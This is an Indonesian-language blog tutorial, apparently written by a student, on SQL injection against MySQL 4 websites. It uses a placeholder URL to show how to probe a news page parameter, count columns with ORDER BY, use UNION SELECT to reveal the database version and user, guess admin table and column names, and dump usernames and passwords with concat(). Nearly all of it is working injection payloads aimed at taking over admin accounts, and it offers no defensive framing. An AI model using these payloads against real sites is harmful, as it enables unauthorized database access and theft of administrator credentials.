teknik sql injection di mysql versi 4 dan 5 sangat berbeda, di versi 5 kita menggunakan information schema untuk melihat isi table dalam database, di versi 4 kita cuma bisa menebak-nebak table yang kira-kira ada didalam database. contoh gini
1. cek vulner dengan menambahkan (‘) diakhir url
http://www.mampus.com/news.php?id=5′
jika muncul error,ada kemungkinan web ini vulner buat di injek
2. temukan jumlah kolom (angka ajaib)
http://www.mampus.com/news.php?id=5 order by 1/* <– no error
http://www.mampus.com/news.php?id=5 order by 2/* <– no error
http://www.mampus.com/news.php?id=5 order by 3/* <– no error
http://www.mampus.com/news.php?id=5 order by 4/* <– error
berarti jumlah kolomnya ada 3
3. cek fungsi union
http://www.mampus.com/news.php?id=5 union all select 1,2,3/*
jika muncul angka di web seperti 1,2,3 berarti fungsi union udah jalan
4. cek versi, database, user
misal setelah memakai fungsi union keluar angka 1 dan 3, berarti itu angka yang bisa kita explore dan bisa diganti dengan
version() -> untuk melihat versi mysql
database() -> untuk melihat nama database
user() -> untuk melihat nama user
ex:
misal angka yang keluar di web setelah memakai fungsi union keluar 1 dan 3, kita pilih angka 1 buat diexplore.
it should look like this http://www.mampus.com/news.php?id=5 union all select version(),2,3/*
dan akan mendapatkan hasil seperti ini 4.1.33-log atau 5.0.45, itu adalah versi dari mysqlnya..
disini akan dibahas mengenai versi 4, untuk yang versi 5 baca aja postingan sebelum ini disini.
5. mencari table dan kolom
kita hanya bisa menebak kira-kira table apa yang ada didatabase, yang umum digunakan
table names: user/s, admin/s, member/s …
column names: username, user, usr, user_name, password, pass, passwd, pwd dll…
6. coba keberuntungan
cek table admin ada or not di database dengan perintah seperti ini dengan mengexplore angka 1 tadi
http://www.mampus.com/news.php?id=5 union all select 1,2,3 from admin/*
jika muncul angka ajaib seperti perintah union tadi, berarti table admin exists!!
jika tidak muncul cari table yang lain misal user/s, member/s,author/s dll pokoknya ampe ketemu dech!
lanjut! tadikan table admin udah ada nich, selanjutnya tinggal cari kolomnya
http://www.mampus.com/news.php?id=5 union all select username,2,3 from admin/*
jika muncul angka ajaib seperti perintah union tadi, berarti kolom username di table admin ada!
misal ga muncul cari kemungkinan yang lain misal user,usr dll
kolom username dah ketemu, selanjutnya cek kolom password
http://www.mampus.com/news.php?id=5 union all select password,2,3 from admin/*
jika muncul angka ajaib seperti perintah union tadi, berarti kolom password di table admin ada!
misal ga muncul cari kemungkinan yang lain misal pass dll
kolom username dan password telah ditemukan di table admin, tinggal finishing dech, misal passwordnya ga diencrypt syukur, misal diencrypt tinggal decrypt aja..
http://www.mampus.com/news.php?id=5 union all select concat(username,0×3a,password),2,3 from admin/*
ket: 0×3a adalah bentuk hexa dari :
huh.. udah mau jam 7 pagi mo kuliah dulu yach, ntar telat ga boleh masuk ma dosennya.. hiks hiks… T.T
sekian dulu aja, maaf misal klo salah coz saya masih pemula banget (masih pemula ngasih tutor??##), levelnya dibawah pemula dech!
disini cuma share pengalaman aja coz kita tidak berhak menyembunyikan suatu ilmu, karena kita dapat ilmu itu juga bukan karena kita sendiri.. udah ah! cabut dulu…